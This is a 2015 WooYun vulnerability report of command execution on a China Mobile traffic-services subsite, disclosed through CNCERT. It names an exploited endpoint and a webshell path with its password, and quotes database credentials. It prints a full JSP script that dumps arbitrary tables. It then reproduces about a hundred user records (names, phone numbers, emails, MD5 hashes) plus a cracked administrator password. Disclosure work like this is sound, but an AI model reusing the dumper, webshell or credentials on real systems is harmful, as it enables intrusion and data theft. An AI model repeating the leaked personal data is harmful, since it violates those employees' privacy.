当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0116040

漏洞标题：中国移动分站命令执行漏洞可GetShell

相关厂商：中国移动通信

漏洞作者： 路人甲

提交时间：2015-05-31 19:22

修复时间：2015-07-19 14:50

公开时间：2015-07-19 14:50

漏洞类型：命令执行

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-05-31： 细节已通知厂商并且等待厂商处理中
2015-06-04： 厂商已经确认，细节仅向厂商公开
2015-06-14： 细节向核心白帽子及相关领域专家公开
2015-06-24： 细节向普通白帽子公开
2015-07-04： 细节向实习白帽子公开
2015-07-19： 细节向公众公开

简要描述：

中国移动分站命令执行漏洞,可GetShell

详细说明：

中国移动分站命令执行漏洞,可GetShell

漏洞证明：


http://doms.i139.cn/doms_auth/login.jsp 流量经营服务平台

360截图20150525123750408.jpg


前辈思路
http://loudong.360.cn/vul/info/qid/QTVA-2015-230675
漏洞利用
http://doms.i139.cn/weibo/aspireWeibo.action

360截图20150525123823169.jpg


发现shell：
http://doms.i139.cn/weibo/webfuck_shell.jsp t0p

360截图20150525123840779.jpg


找到数据库：
#database config for notifysms
#follow config is for inserting the notifysms by default method insertNotify;
#if insert notifysms by coustom mothod, the follow config is not necessary
jdbc.url=jdbc:oracle:thin:@192.168.66.39:1521:domsdb
jdbc.user=doms
jdbc.pwd=doms
jdbc.driver=oracle.jdbc.driver.OracleDriver
acquireIncrement=2
initialPoolSize=5
maxPoolSize=30
maxIdleTime=1000
minPoolSize=5
利用一下代码：连接数据库
http://doms.i139.cn/weibo//attache/9999.jsp

<%@ page language="java" import="java.util.*"  pageEncoding="GBK"%>
<%@ page import="oracle.jdbc.*"%>
<%@ page import="java.sql.*" %>
<%
String path = request.getContextPath();
String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
  <head>
    <base href="<%=basePath%>">
    
    <title>XXOO</title>
        <meta http-equiv="pragma" content="no-cache">
        <meta http-equiv="cache-control" content="no-cache">
        <meta http-equiv="expires" content="0">    
        <meta http-equiv="keywords" content="keyword1,keyword2,keyword3">
        <meta http-equiv="description" content="This is my page">
        <!--
        <link rel="stylesheet" type="text/css" href="styles.css" mce_href="styles.css">
        -->
  </head>
  
  <body> 
    <%
        String  url  =  "http://"  +  request.getServerName()  +  ":"  +  request.getServerPort()  +  request.getContextPath()+request.getServletPath();
            Class.forName("oracle.jdbc.driver.OracleDriver").newInstance();
            ResultSet rs=null;
        ResultSet rs_column=null;
        ResultSet rs_dump=null;
            String oraUrl="jdbc:oracle:thin:@192.168.66.39:1521:domsdb";//需要自己修改url oraclename oraclepassword
            String oraUser="doms";
            String oraPWD="doms";
            try
            {
                    DriverManager.registerDriver(new oracle.jdbc.driver.OracleDriver());
            }        catch (SQLException e)
            {
                out.print("filed!!");
            }
            try
            {
                    Connection conn=DriverManager.getConnection(oraUrl,oraUser,oraPWD);
                conn.setAutoCommit(false);        
                if (request.getParameter("table") == null || request.getParameter("table").equals(""))
                {
                        out.print("xixi...<br>");
                        Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
                            rs=stmt.executeQuery("select table_name from all_tables where owner='DOMS'");
                            while(rs.next())
                        {
                                out.print("<a href=");out.print(url);out.print("?table=");out.print(rs.getString(1));
                                out.print(" target=_blank>");out.print(rs.getString(1));out.print("</a><br>");
                        }
                            rs.close();
                            stmt.close();
                }
                else 
                {
                        out.print(request.getParameter("table"));
                        String sql_count="select count(*) from all_tab_columns where Table_Name='"+request.getParameter("table")+"'";
                        String sql_column="select * from all_tab_columns where Table_Name='"+request.getParameter("table")+"'";
                        String sql_dump="select * from "+request.getParameter("table");
                            Statement stmt_count=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
                        Statement stmt_column=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
                        Statement stmt_dump=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
                        rs=stmt_count.executeQuery(sql_count);
                        rs_column=stmt_column.executeQuery(sql_column); 
                        rs_dump= stmt_dump.executeQuery(sql_dump);
                        conn.commit();
                        int count=0;
                            while(rs.next())
                            {
                                count=Integer.parseInt(rs.getString(1));
                                    //out.print(count);
                            }
                        int n=1;
                        out.print("<table border='1'>");out.print("<tr>");
                        while(rs_column.next())
                        {
                                out.print("<td>");out.print(rs_column.getString(3));out.print("</td>");
                                n+=1;
                                
                        }
                        out.print("<tr>");
                            while(rs_dump.next())
                            {
                                
                                out.print("<tr>");
                                n=1;
                                while(n<=count)
                                {
                                        out.print("<td>");
                                        out.print(rs_dump.getString(n));
                                        out.print("</td>");
                                        n+=1;
                                }
                                out.print("</tr>");
                            }
                        rs_dump.close();
                        rs_column.close();
                        rs.close();
                            stmt_count.close();
                            stmt_column.close();
                            stmt_dump.close();
                }
                    conn.close();
            } catch (SQLException e)
            {
                    System.out.println(e.toString());
                    out.print(e.toString());
            }
     %>
  </body>
</html>


找到数据库：

360截图20150525123946430.jpg


UUPM_USER
INVALID_DATE PASSWD IS_ADMIN ORG_ID EMAIL PHONE ENROLL_USER FLAG LAST_UPDATE_DATE LAST_UPDATE_USER COMMENTS ENROLL_DATE MOBILE USER_FULL_NAME USER_NAME USER_ID
32315 zhangjing 张静 15810718937 11/5/2014 14:10:49 null 32293 11/5/2014 14:11:11 1 32293 null zhangjing_d@aspirecn.com 224 0 4E7D489B49EC93DBF53CE37AEE778593 2/1/2099 16:58:4
32321 linzhaoni 林昭妮 18719410369 12/8/2014 11:45:25 null 32293 12/8/2014 11:46:24 1 32293 null 18719410369@139.com 219 0 C6E0FF8D490C16B25ECE6051B3C3BF00 2/1/2099 11:49:40
32322 xufuqun 许福群 13922210661 null null 32293 1/16/2015 10:42:54 1 null null xufuqun@gd.chinamobile.com 219 0 AE109EE47E52C43376016682CC133846 2/1/2099 10:49:26
32323 wujiang 吴疆 13910986516 12/11/2014 16:14:15 null 32293 12/11/2014 16:14:15 1 32293 null wujiang@aspirecn.com 221 0 B10AAD6B04B7094FE5614DF01BBB5B1B 2/1/2099 16:40:59
32335 xiaojuan 小卷 13810289412 2/11/2015 16:53:1 null 5194 2/11/2015 16:53:1 1 5194 null 137510581@qq.com null null FEC079522BDCE8972B12CC26CD0AD798 2/1/2099 16:53:1
32286 yangfan 杨帆 13701223129 null null 32286 3/16/2015 0:0:0 1 null null yangfan_b@aspirecn.com 221 0 70E6E5CFE380B32046EF5AC87789C57E 2/1/2099 9:58:3
32287 gaoruijuan 高瑞娟 13811990869 null null 32287 3/16/2015 0:0:0 1 null null gaoruijuan@aspirecn.com 221 0 5F8CC376CA77153B66E0CF6491F44094 2/1/2099 9:43:49
32288 liuchangqing 刘昌清 13911796268 null null 32293 12/19/2014 18:12:52 1 null null liuchangqing@chinamobile.com 220 0 7D423593CA022A91FD9049DAB5E50A17 2/1/2099 16:25:13
32297 shengqinyu 盛勤宇 15910428776 8/4/2014 11:26:1 null 32293 3/23/2015 11:45:36 0 32293 null shengqinyu@aspirecn.com 222 0 C3E01D8DC2844F08E84334D6DA111C5E 2/1/2099 13:53:20
32298 zhouwei 周威 13522569562 8/26/2014 9:56:48 null 32293 3/23/2015 11:45:45 0 32293 null zhowuei_c@aspirecn.com 222 0 0148DD568448977FEC1BCE5A134E2FF4 2/1/2099 10:7:13
32339 upapp_1 施亮 13816989412 4/16/2015 9:42:55 null 5194 4/16/2015 9:42:55 1 5194 null sl@upapp.net null null E10ADC3949BA59ABBE56E057F20F883E 2/1/2099 9:42:55
32296 gaodai 高岱 13910566574 7/31/2014 9:41:17 null 32293 7/31/2014 9:41:17 1 32293 null gaodai@aspirecn.com 222 0 5E58502F9D02156F86ADBCAB607A59FF 2/1/2099 9:43:38
32300 lixueqiang 李雪强 13488612340 null null 32293 3/10/2015 13:23:29 1 null null lixueqiang@aspirecn.com 221 0 8858CE7125866A66CD1D894DC11F3145 2/1/2099 16:54:11
32301 gaoning 高宁 13810760589 9/11/2014 14:14:8 null 32293 9/11/2014 14:14:8 1 32293 null gaoning@aspirecn.com 224 0 922F2B6CE13ABE7D9F5E965E0A672FEF 2/1/2099 15:39:18
32302 yangzhenhua 杨振华 13701121340 9/11/2014 14:15:43 null 32293 9/11/2014 14:15:43 1 32293 null yangzhenhua@aspirecn.com 224 0 E10ADC3949BA59ABBE56E057F20F883E null
32303 zhanglili 张丽丽 13693268669 9/11/2014 14:19:20 null 32293 9/11/2014 14:19:20 1 32293 null zhanglili@aspirecn.com 224 0 97C3F78C3313D0E9F47B10A592C6C660 2/1/2099 15:59:25
32304 dingjian 丁健 13810951614 9/11/2014 14:20:6 null 32293 9/11/2014 14:20:6 1 32293 null dingjian@aspirecn.com 224 0 403442B7C0791411231A35AFC847BD24 2/1/2099 17:11:18
32305 zhangkang 张康 13691508312 9/11/2014 14:20:59 null 32293 9/11/2014 14:20:59 1 32293 null zhangkang@aspirecn.com 224 0 E10ADC3949BA59ABBE56E057F20F883E null
32306 zhangpengfei 张鹏飞 13716416247 9/11/2014 14:22:6 null 32293 9/11/2014 14:22:6 1 32293 null zhangpengfei@aspirecn.com 224 0 22FF3F6F8AA2502D46806C59A3E6CE11 2/1/2099 17:8:45
32307 yufenyan 于芬艳 13401043259 9/11/2014 14:22:52 null 32293 9/11/2014 14:22:52 1 32293 null yufenyan@aspirecn.com 224 0 5715D59E5734164AFDC4C1400786A8D1 2/1/2099 15:37:23
32308 gufei 顾菲 15110167061 9/11/2014 14:24:0 null 32293 9/11/2014 14:24:0 1 32293 null gufei@aspirecn.com 224 0 F8B70AF3017F6D3712BF4FA356BF3363 2/1/2099 16:2:48
32309 qihuan 齐桓 13601209721 9/11/2014 14:24:45 null 32293 9/11/2014 14:24:45 1 32293 null qihuan@aspirecn.com 224 0 E10ADC3949BA59ABBE56E057F20F883E 2/1/2099 9:31:6
32310 zhaojinding 赵金顶 15801660523 9/11/2014 14:25:41 null 32293 9/11/2014 14:25:41 1 32293 null zhaojinding@aspirecn.com 224 0 D7697B8D4721E66A037CCBD99C1B19A3 2/1/2099 16:36:40
32311 wangpei 王培 15801340407 9/11/2014 14:26:45 null 32293 9/11/2014 14:26:45 1 32293 null wangpei_a@aspirecn.com 224 0 0593AC57FE5E586AC820A2DB5119CB6F 2/1/2099 15:32:48
32312 zhangdong 张栋 13905315765 9/28/2014 11:13:44 null 32293 9/28/2014 11:13:44 1 32293 null zhangdongsc@chinamobile.com 218 0 A52544E367BA942F946F549DFC75560F 2/1/2099 11:25:22
32313 zhushuidong 朱水东 18679795619 10/20/2014 11:13:41 null 32293 10/20/2014 11:13:41 1 32293 null zhushuidong@aspirecn.com 224 0 1A771A4FA577FF4B67FC87B0A4C53202 2/1/2099 13:32:37
32325 wangzijiang 王子江 13910014944 1/28/2015 15:41:49 null 32293 1/28/2015 15:41:49 1 32293 null wangzijiang@asprecn.com 222 1 CFCD208495D565EF66E7DFF9F98764DA 2/1/2099 15:52:54
32326 liyunping 李运平 15154109360 null null 32326 3/10/2015 18:16:52 1 null null liyunping@aspirecn.com 222 0 8DDF1F1EBBFB57732671BBEE2298616D 2/1/2099 10:16:43
32264 jkc_yt_turn 集客处转办 13911539691 5/16/2014 15:58:33 null 32239 5/16/2014 15:58:33 1 32239 null 13911539691@139.com 218 0 C4CA4238A0B923820DCC509A6F75849B 2/1/2099 16:56:43
32265 yxc_yt_turn 营销处转办 13911539691 5/16/2014 15:59:49 null 32239 5/16/2014 15:59:49 1 32239 null 13911539691@139.com 217 0 C4CA4238A0B923820DCC509A6F75849B 2/1/2099 15:9:4
32266 jgc_yt_turn 价格处转办 13911539691 5/16/2014 16:0:36 null 32239 5/16/2014 16:0:36 1 32239 null 13911539691@139.com 220 0 C4CA4238A0B923820DCC509A6F75849B 2/1/2099 0:29:55
32267 kfc_yt_turn 客服处转办 13911539691 5/16/2014 16:1:40 null 32239 5/16/2014 16:1:40 1 32239 null 13911539691@139.com 219 0 C4CA4238A0B923820DCC509A6F75849B null
32268 bmld_turn 部门领导转办 13911539691 null null 32239 5/16/2014 16:3:23 1 null null 13911539691@139.com 217 0 C4CA4238A0B923820DCC509A6F75849B 2/1/2099 14:59:28
32270 jkc-gxl-t1 集团集客处转办1 null null null 32230 5/19/2014 13:36:53 1 null null gxl369@126.com 218 0 C4CA4238A0B923820DCC509A6F75849B 2/1/2099 10:3:22
32271 jkc-gxl-t2 集团集客处转2 null 5/19/2014 13:36:26 null 32230 5/19/2014 13:36:26 1 32230 null gxl369@126.com 218 0 C4CA4238A0B923820DCC509A6F75849B 2/1/2099 9:57:43
32272 yxc-gxl-t1 集团营销处转1 null 5/19/2014 13:38:51 null 32230 5/19/2014 13:38:51 1 32230 null gxl369@126.com 217 0 C4CA4238A0B923820DCC509A6F75849B 2/1/2099 17:0:8
32273 yxc-gxl-t2 集团营销处转2 null 5/19/2014 13:40:1 null 32230 5/19/2014 13:40:1 1 32230 null gxl369@126.com 217 0 C4CA4238A0B923820DCC509A6F75849B 2/1/2099 15:47:33
32274 yys-gxl-t1 运营转办1 null 5/19/2014 13:48:8 null 32230 5/19/2014 13:48:8 1 32230 null gxl369@126.com 221 0 C4CA4238A0B923820DCC509A6F75849B null
32275 yys-gxl-t2 运营转办2 null 5/19/2014 13:49:4 null 32230 5/19/2014 13:49:4 1 32230 null gxl369@126.com 221 0 C4CA4238A0B923820DCC509A6F75849B null
32276 jgc-gxl-t1 集团价格处转办1 null 5/19/2014 13:55:33 null 32230 5/19/2014 13:55:33 1 32230 null gxl369@126.com 220 0 C4CA4238A0B923820DCC509A6F75849B null
32277 jgc-gxl-t2 集团价格处转办2 null 5/19/2014 13:56:42 null 32230 5/19/2014 13:56:42 1 32230 null gxl369@126.com 220 0 C4CA4238A0B923820DCC509A6F75849B 2/1/2099 11:20:21
32278 kfc-gxl-t1 集团客服处转1 null 5/19/2014 13:58:34 null 32230 5/19/2014 13:58:34 1 32230 null gxl369@126.com 219 0 C4CA4238A0B923820DCC509A6F75849B null
32279 kfc-gxl-t2 集团客服处转2 null 5/19/2014 13:59:57 null 32230 5/19/2014 13:59:57 1 32230 null gxl369@126.com 219 0 C4CA4238A0B923820DCC509A6F75849B null
32280 wq_u1_turn01 wq集客处转办01 null null null 32233 5/19/2014 14:59:39 0 null null wuqiong@aspirecn.com 218 0 C4CA4238A0B923820DCC509A6F75849B 2/1/2099 15:14:52
32281 wq_u1_turn02 wq集客处转办02 null null null 32233 5/19/2014 14:16:10 0 null null wuqiong@aspirecn.com 218 0 C4CA4238A0B923820DCC509A6F75849B 2/1/2099 15:15:13
32282 wq_u3_turn01 wq价格处转办01 null null null 32233 5/19/2014 14:13:44 0 null null wuqiong@aspirecn.com 220 0 C4CA4238A0B923820DCC509A6F75849B 2/1/2099 11:22:59
32283 wq_u3_turn02 wq价格处转办02 null null null 32233 5/19/2014 14:14:10 0 null null wuqiong@aspirecn.com 220 0 C4CA4238A0B923820DCC509A6F75849B 2/1/2099 11:27:5
32239 yangtao 杨涛 13911539691 null 333 32239 7/11/2014 15:46:55 1 null 01059310855 yangtao@aspirecn.com 1001 1 9DD4C2C98A7B19B5B27E258C8AF33CAD 2/1/2099 16:57:21
32240 jkc_yt jkc_yt null null null 32239 7/11/2014 15:49:21 1 null 59310855 yangtao@aspirecn.com 218 0 C4CA4238A0B923820DCC509A6F75849B 2/1/2099 14:55:53
32241 yxc_yt yxc_yt null null null 32239 7/11/2014 15:49:31 1 null 59310855 yangtao@aspirecn.com 217 0 C4CA4238A0B923820DCC509A6F75849B 2/1/2099 11:11:50
32242 jgc_yt jgc_yt null null null 32239 7/11/2014 15:49:10 1 null 59310855 yangtao@aspirecn.com 220 0 C4CA4238A0B923820DCC509A6F75849B 2/1/2099 11:14:9
32243 kfc_yt kfc_yt null null null 32239 7/11/2014 15:46:38 1 null 59310855 yangtao@aspirecn.com 219 0 C4CA4238A0B923820DCC509A6F75849B 2/1/2099 11:19:0
32244 jtbmld_yt jtbmld_yt null null null 32239 7/11/2014 15:48:57 1 null 59310855 yangtao@aspirecn.com 216 0 C4CA4238A0B923820DCC509A6F75849B 2/1/2099 11:28:29
32245 audit_yt audit_yt null null null 32239 7/11/2014 15:48:45 1 null 59310855 yangtao@aspirecn.com 221 0 C4CA4238A0B923820DCC509A6F75849B 2/1/2099 14:31:50
32246 jieguo_yt jieguo_yt null null null 32239 7/11/2014 15:48:31 1 null 59310855 yangtao@aspirecn.com 221 0 C4CA4238A0B923820DCC509A6F75849B null
32247 daoqi_yt daoqi_yt null null null 32239 7/11/2014 15:48:18 1 null 59310855 yangtao@aspirecn.com 221 0 C4CA4238A0B923820DCC509A6F75849B null
32248 wq_u2 wq_u2 null null null 32233 5/14/2014 10:51:15 0 null null wuqiong@aspirecn.com 217 0 C4CA4238A0B923820DCC509A6F75849B 2/1/2099 9:56:2
32249 yunying_yt yunying_yt null null null 32239 7/11/2014 15:48:6 1 null 59310855 yangtao@aspirecn.com 221 0 C4CA4238A0B923820DCC509A6F75849B null
32250 monitor_yt monitor_yt 13911539691 5/13/2014 9:38:46 null 32239 5/13/2014 9:38:46 1 32239 59310855 yangtao@aspirecn.com 224 0 C4CA4238A0B923820DCC509A6F75849B null
32251 jkc-gxl 集团集客处 null 5/13/2014 9:40:15 null 32230 5/13/2014 9:40:15 1 32230 null guoxiuli@aspirecn.com 218 0 C4CA4238A0B923820DCC509A6F75849B 2/1/2099 11:37:37
32252 yxc-gxl 集团营销处 1352150082 null null 32230 5/13/2014 9:45:43 1 null null guoxiuli@aspirecn.com 217 0 C4CA4238A0B923820DCC509A6F75849B 2/1/2099 14:27:56
32253 yys-gxl 运营审批人 999 5/13/2014 9:44:58 null 32230 5/13/2014 9:44:58 1 32230 null guoxiuli@aspirecn.com 221 0 C4CA4238A0B923820DCC509A6F75849B 2/1/2099 16:13:57
32254 wq_u7 wq_u7 null null null 32233 5/14/2014 10:51:32 0 null null wuqiong@aspirecn.com 221 0 C4CA4238A0B923820DCC509A6F75849B 2/1/2099 14:6:13
32255 yysbjg-gxl yysbjg-gxl null 5/13/2014 9:48:0 null 32230 5/13/2014 9:48:0 1 32230 null guoxiuli@aspirecn.com 221 0 C4CA4238A0B923820DCC509A6F75849B null
32256 jgc-gxl 集团价格处审批人 null 5/13/2014 9:53:5 null 32230 5/13/2014 9:53:5 1 32230 null guoxiuli@aspirecn.com 220 0 C4CA4238A0B923820DCC509A6F75849B 2/1/2099 17:45:49
32257 kfc-gxl 集团客服处审批人 null 5/13/2014 9:58:57 null 32230 5/13/2014 9:58:57 1 32230 null guoxiuli@aspirecn.com 219 0 C4CA4238A0B923820DCC509A6F75849B 2/1/2099 11:15:20
32258 bmld-gxl 集团部门领导审批人 null null null 32230 5/13/2014 10:3:29 1 null null guoxiuli@aspirecn.com 216 0 C4CA4238A0B923820DCC509A6F75849B null
32259 yyhzdq-gxl yyhzdq-gxl null 5/13/2014 10:5:50 null 32230 5/13/2014 10:5:50 1 32230 null guoxiuli@aspirecn.com 221 0 C4CA4238A0B923820DCC509A6F75849B null
32260 yyptjs-gxl yyptjs-gxl null 5/13/2014 10:8:3 null 32230 5/13/2014 10:8:3 1 32230 null guoxiuli@aspirecn.com 221 0 C4CA4238A0B923820DCC509A6F75849B null
32261 wq_u1 wq_u1 null null null 32233 5/14/2014 10:53:39 0 null null wuqiong@aspirecn.com 219 0 C4CA4238A0B923820DCC509A6F75849B 2/1/2099 16:20:56
32262 wq_u3 wq_u3 null null null 32233 5/14/2014 10:53:20 0 null null wuqiong@aspirecn.com 220 0 C4CA4238A0B923820DCC509A6F75849B 2/1/2099 16:55:35
32263 wq_u4 wq_u4 null null null 32233 5/14/2014 10:51:57 0 null null wuqiong@aspirecn.com 219 0 C4CA4238A0B923820DCC509A6F75849B null
32269 audit_yt_turn audit_yt_turn 13911539691 null null 32239 5/16/2014 16:5:33 1 null null 13911539691@139.com 221 0 C4CA4238A0B923820DCC509A6F75849B 2/1/2099 14:6:18
32233 test-wu test-wu null null 88888aaa 5194 5/9/2014 11:27:20 0 null null wuqiong@aspirecn.com 1 1 C4CA4238A0B923820DCC509A6F75849B 2/1/2099 11:29:5
5194 administrator 系统管理员 null null null 5194 6/26/2014 13:19:49 1 null 15901231032 null 1 1 EA902676B21BD8152731608B79B8256D 2/1/2099 13:20:5
32220 jkc 集团集客处审批人 18600000000 4/24/2014 23:15:48 null 211 4/24/2014 23:23:7 1 211 null guoxiuli@aspirencn.com 1 0 C4CA4238A0B923820DCC509A6F75849B 2/1/2099 14:39:53
32221 yxc 集团营销处审批人 13213313311 4/24/2014 23:18:1 null 211 4/24/2014 23:23:34 1 211 null 1@126.com 1 1 C4CA4238A0B923820DCC509A6F75849B 2/1/2099 9:31:58
32222 jgc 集团价格处审批人 null 4/24/2014 23:18:24 null 211 4/24/2014 23:23:48 1 211 null null 1 1 C4CA4238A0B923820DCC509A6F75849B null
32223 kfc 集团客服处审批人 18600000000 4/24/2014 23:18:42 null 211 4/24/2014 23:23:59 1 211 null 1@2.com 1 1 C4CA4238A0B923820DCC509A6F75849B 2/1/2099 11:15:8
32224 bmld 集团部门领导审批人 null 4/24/2014 23:19:9 null 211 4/24/2014 23:24:14 1 211 null null 1 1 C4CA4238A0B923820DCC509A6F75849B null
32225 audit 运营审批人 null null null 32239 7/11/2014 15:49:49 1 null null yangtao@aspirecn.com 1001 1 C4CA4238A0B923820DCC509A6F75849B 2/1/2099 17:27:23
32226 arecv 运营审批结果通知人 null 4/24/2014 23:21:3 null 211 4/24/2014 23:24:42 1 211 null null 1001 1 C4CA4238A0B923820DCC509A6F75849B null
32227 erecv 运营合作到期提醒人 null 4/24/2014 23:21:26 null 211 4/24/2014 23:24:53 1 211 null null 1001 1 C4CA4238A0B923820DCC509A6F75849B null
32228 normal 运营普通 null 4/24/2014 23:21:54 null 211 4/24/2014 23:25:5 1 211 null null 1001 1 C4CA4238A0B923820DCC509A6F75849B null
32229 monitor 监控人员 null 4/24/2014 23:22:32 null 211 4/24/2014 23:25:21 1 211 null 1@1.com 1001 1 C4CA4238A0B923820DCC509A6F75849B 2/1/2099 14:33:52
32230 doms-gxl 郭秀利---管理员 1352150082 null null 32230 6/24/2014 0:0:0 1 null 010-55443322 guoxiuli@aspirecn.com 1001 1 C4CA4238A0B923820DCC509A6F75849B 2/1/2099 15:37:13
32285 zhanglin 张琳 13911650993 6/4/2014 9:19:49 null 32239 6/4/2014 9:21:22 1 32239 null zhanglin@aspirecn.com 221 0 DD4A4E5478C1E63CABC59D8B31C18A33 2/1/2099 9:49:49
32289 shiqiang 石强 13811990869 null null 32289 3/16/2015 0:0:0 1 null null shiqiang@chinamobile.com 217 0 75893F0799D4164B7B7DB8E3787042FB 2/1/2099 14:4:49
32290 baomingxia 鲍明霞 13811996240 null null 32293 12/19/2014 18:13:40 1 null null baomingxia@chinamobile.com 219 0 DD4A4E5478C1E63CABC59D8B31C18A33 2/1/2099 14:4:3
32291 suxinghui 宿兴辉 13911982773 null null 32291 3/16/2015 0:0:0 1 null null suxinghui@chinamobile.com 218 0 F66CFD4E043AEAE51B4002B682B076A9 2/1/2099 14:1:35
32292 lingdao 领导 13911650993 null null 32293 6/27/2014 9:21:46 1 null null zhanglin@aspirecn.com 216 0 DD4A4E5478C1E63CABC59D8B31C18A33 2/1/2099 9:48:40
32293 wangyanwei 王延伟 13910130221 6/26/2014 13:15:14 null 32293 1/19/2015 10:9:17 1 5194 null wangyanwei@aspirecn.com 1001 1 F37ED3B4901E8CB26FC6582446C6BADF 2/1/2099 15:2:27
32294 menglongbo 孟龙波 13810190208 6/30/2014 14:22:47 null 32293 11/26/2014 13:6:44 1 32293 null menglongbo@aspirecn.com 221 0 5168123BA389DF95806CC28BBFBB5300 2/1/2099 14:12:36
32295 hazard 阿扎尔 18611601730 7/8/2014 16:45:3 null 211 7/8/2014 16:45:3 1 211 null hongtian.liu@gmail.com 1 0 C4CA4238A0B923820DCC509A6F75849B 2/1/2099 17:23:6
32299 workflow 工作流 15010319458 8/24/2014 20:50:56 null 32299 9/10/2014 0:0:0 1 211 null 15010319458@139.com 1001 1 708A9C84B47404C5524405E5CBD910B8 2/1/2099 20:52:40
32314 weibo 微博 13910014944 null null 32326 4/13/2015 11:37:51 1 null null wangzijiang@aspirecn.com 221 0 DD4A4E5478C1E63CABC59D8B31C18A33 2/1/2099 11:38:24
32316 epengpeng 鄂芃芃 13810289412 11/18/2014 13:3:26 null 32293 11/18/2014 13:5:2 1 32293 null epengpeng@aspirecn.com 221 0 232060226807F9D389D8E856307CCE6C 2/1/2099 14:9:11
32317 liyuane 李员娥 13811265160 null null 32293 4/28/2015 14:29:46 0 null null null 221 0 73CB4A94493A560572E4FF43AC6CA5CE 2/1/2099 15:9:13
32318 test1 Test1 13811265160 11/26/2014 13:9:34 null 32293 11/26/2014 13:9:42 1 32293 null liyuane@aspirecn.com 217 0 5A105E8B9D40E1329780D62EA2265D8A 2/1/2099 14:13:48
32319 test2 Tset2 13811265160 11/26/2014 13:10:38 null 32293 11/26/2014 13:10:50 1 32293 null liyuane@aspirecn.com 220 0 AD0234829205B9033196BA818F7A872B 2/1/2099 14:14:16
32320 chenguanghong 陈光鸿 15010319458 12/2/2014 14:32:28 null 32293 12/2/2014 14:32:42 1 32293 null chenguanghong@aspirecn.com 222 0 C4CA4238A0B923820DCC509A6F75849B 2/1/2099 15:25:3
32324 lifeng 李峰 13693257931 12/22/2014 10:39:51 null 32293 12/22/2014 10:40:38 1 32293 null lifeng_c@aspirecn.com 221 0 49FF2CC0ECE004F0F4E4F74039E58E0A 2/1/2099 10:49:2
32327 zfw0 自服务企业用户 13910014944 2/2/2015 12:57:9 null 32293 2/2/2015 12:57:9 1 32293 null wangzijiang@gmmail.com 223 0 CFCD208495D565EF66E7DFF9F98764DA 2/1/2099 13:0:26
32328 zfw1 自服务销售经理 13901104944 2/2/2015 12:57:47 null 32293 2/2/2015 12:57:47 1 32293 null wangzijiang@gmail.com 223 0 CFCD208495D565EF66E7DFF9F98764DA 2/1/2099 13:28:5
32329 zfw2 自服务运营 13910014944 2/2/2015 12:58:27 null 32293 2/2/2015 12:58:27 1 32293 null wangzijiang@gmail.com 221 0 CFCD208495D565EF66E7DFF9F98764DA 2/1/2099 13:2:27
32330 epp 鄂芃芃 13810289412 2/4/2015 10:24:2 null 5194 2/4/2015 10:24:2 1 5194 null tracyepengpeng@sina.com null null 96E79218965EB72C92A549DD5A330112 2/1/2099 10:24:2
32331 wangyanyan 王燕燕 13581605430 2/4/2015 13:47:59 null 32293 2/4/2015 13:49:1 1 32293 null wangyanyan@aspirecn.com 224 0 FC6EF5EFAE03C1545EF9B403573C5F28 2/1/2099 16:30:43
32332 dengbiao 邓彪 15201577054 2/4/2015 13:48:50 null 32293 2/4/2015 13:49:7 1 32293 null dengbiao@aspirecn.com 224 0 E10ADC3949BA59ABBE56E057F20F883E 2/1/2099 13:37:51
32333 wangjinghe wangjinghe 13466696557 null null null null 1 null null wgjinghe@sina.com null null C81E728D9D4C2F636F067F89CC14862C 2/1/2099 9:59:35
32334 xiaowang 小王 13466696557 null null null null 1 null null 541864029@qq.com null null C81E728D9D4C2F636F067F89CC14862C 2/1/2099 11:5:22
32336 HXTC_EC 胡玉雪 15171417071 3/24/2015 11:6:36 null 5194 3/24/2015 11:6:36 1 5194 null 1049620494@qq.com null null 819CF1304065C4AE95F2BABAF8A03FD7 2/1/2099 11:6:36
32337 jinyuezhong 金跃中 13911710698 3/27/2015 9:53:24 null 32293 3/27/2015 9:53:24 1 32293 null jinyuezhong@aspirecn.com 221 0 22B41CD9DF2AD18220D7DC433F688A22 2/1/2099 10:5:36
32338 liuchun 刘淳 13910330034 3/27/2015 9:54:15 null 32293 3/27/2015 9:54:15 1 32293 null liuchun@aspirecn.com 221 0 94E8CDE4612B3FD390677D42E7B22002 2/1/2099 9:58:16
32340 zhangwenbo 张文博 18210182889 4/21/2015 16:16:50 null 32293 4/21/2015 16:17:10 1 32293 null zhangwenbo@aspirecn.com 221 0 C04C359B49F130C52CC8134F7B0F61A9 2/1/2099 9:55:58
找到administrator 密码 EA902676B21BD8152731608B79B8256D 解密后 1doms
成功登陆：

360截图20150525124036155.jpg


我们看看这个平台危害多大。
业务办理泄露：

360截图20150525124107828.jpg


客户单号：

360截图20150525124135864.jpg


更改应用信息：

360截图20150525124159427.jpg


360截图20150525124229020.jpg


更改产品：

360截图20150525124311797.jpg


等等。。。。

修复方案：

权限验证

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：14

确认时间：2015-06-04 14:48

厂商回复：

CNVD确认并复现所述情况，已经转由CNCERT向中国移动集团公司通报，由其后续协调网站管理部门处置。

最新状态：

暂无